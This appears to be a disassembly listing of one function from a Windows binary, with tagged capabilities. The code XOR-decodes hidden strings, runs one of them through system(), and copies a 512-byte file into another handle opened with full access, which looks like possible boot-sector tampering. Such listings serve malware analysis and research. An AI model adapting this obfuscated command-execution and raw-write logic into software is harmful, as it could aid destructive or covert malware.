Function at 0x140005920
Capabilities:
Encode data using xor
Execute command
Get file size
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x60
xor ebx, ebx
mov dword [rbp - 0x40], 0x7a797b74
mov ecx, ebx
mov dword [rbp - 0x3c], 0x6e757771
mov dword [rbp - 0x38], 0x11f3f6a
mov word [rbp - 0x34], Ordinal_32
mov byte [rbp - 0x32], 1
lea eax, [rcx + 0x16]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 0xd
jb 0x140005950
lea rcx, [rbp - 0x40]
mov byte [rbp - 0x32], bl
call qword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
mov ecx, Ordinal_301
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm0, xmmword [0x140086a20]
movdqa xmm1, xmmword [0x140086c60]
movdqu xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x10], 0x1007b7a
movdqu xmmword [rbp - 0x20], xmm1
nop dword [rax]
lea eax, [rbx + 0x16]
xor byte [rbp + rbx - 0x30], al
inc rbx
cmp rbx, 0x22
jb 0x1400059a0
lea rcx, [rbp - 0x30]
mov byte [rbp - 0xd], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rbp
jmp 0x14000b4f0
mov r11, rsp
mov qword [r11 + 0x18], rdi
mov qword [r11 + 0x20], r14
push rbp
lea rbp, [r11 - 0x5f]
sub rsp, 0xd0
mov rax, qword [0x1400ba180]
xor rax, rsp
mov qword [rbp + 0xf], rax
mov eax, dword [0x1400860e8]
xor r14d, r14d
cmp dword [reloc.WS2_32.dll_accept], 2
mov ecx, r14d
movups xmm0, xmmword [0x1400860c8]
mov dword [rbp - 1], eax
movups xmm1, xmmword [0x1400860d8]
movzx eax, word [0x1400860ec]
movups xmmword [rbp - 0x21], xmm0
mov word [rbp + 3], ax
movups xmmword [rbp - 0x11], xmm1
jl 0x14000b6b6
movdqa xmm5, xmmword [0x1400869c0]
lea rdx, [rbp - 0x21]
movdqa xmm4, xmmword [0x140086cd0]
mov eax, 5
movaps xmmword [r11 - 0x18], xmm6
movaps xmmword [r11 - 0x28], xmm7
movdqa xmm7, xmmword [0x1400869e0]
movaps xmmword [r11 - 0x38], xmm8
movd xmm6, eax
mov eax, Ordinal_32
movaps xmmword [r11 - 0x48], xmm9
movdqa xmm9, xmmword [0x1400869f0]
movd xmm8, eax
nop
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 0x10]
paddd xmm2, xmm5
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rdx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rdx - 8], xmm3
cmp ecx, 0x10
jl 0x14000b5a0
movaps xmm9, xmmword [rsp + 0x90]
movaps xmm8, xmmword [rsp + 0xa0]
movaps xmm7, xmmword [rsp + 0xb0]
movaps xmm6, xmmword [rsp + 0xc0]
cmp ecx, 0x13
jge 0x14000b704
movsxd rax, ecx
lea r8, [rbp - 0x21]
lea r8, [r8 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r8, [r8 + 2]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub ax, dx
movzx eax, ax
imul edx, eax, 0x39
add dx, cx
inc ecx
xor word [r8 - 2], dx
cmp ecx, 0x13
jl 0x14000b6d0
xor r9d, r9d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
lea rcx, [rbp - 0x21]
mov edx, 0x10000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14000b84d
mov edx, dword [0x140086100]
mov eax, reloc.WLDAP32.dll_Ordinal_46
movzx ecx, word [0x140086104]
xor r9d, r9d
movups xmm0, xmmword [0x1400860f0]
mov dword [rbp - 0x29], edx
xor cx, 0x43
xor word [rbp - 0x27], 0x42
xor dx, 0x41
movups xmmword [rbp - 0x39], xmm0
xor word [rbp - 0x37], 0x3a
xor r8d, r8d
xor word [rbp - 0x35], 0x3b
xor word [rbp - 0x33], 0x3c
xor word [rbp - 0x31], 0x3d
xor word [rbp - 0x2f], 0x3e
xor word [rbp - 0x2d], 0x3f
xor word [rbp - 0x2b], 0x40
mov word [rbp - 0x29], dx
mov edx, 0x80000000
mov word [rbp - 0x25], cx
lea rcx, [rbp - 0x39]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0xe0], rbx
mov word [rbp - 0x39], ax
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000b845
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x200
jne 0x14000b845
mov ecx, eax
mov qword [rsp + 0xe8], rsi
call fcn.140081958
lea r9, [rbp + 7]
mov qword [rsp + 0x20], r14
mov r8d, 0x200
mov rdx, rax
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14000b82b
lea r9, [rbp + 7]
mov qword [rsp + 0x20], r14
mov r8d, 0x200
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0xe8]
mov rbx, qword [rsp + 0xe0]
mov rcx, qword [rbp + 0xf]
xor rcx, rsp
call fcn.140081e90
lea r11, [rsp + 0xd0]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret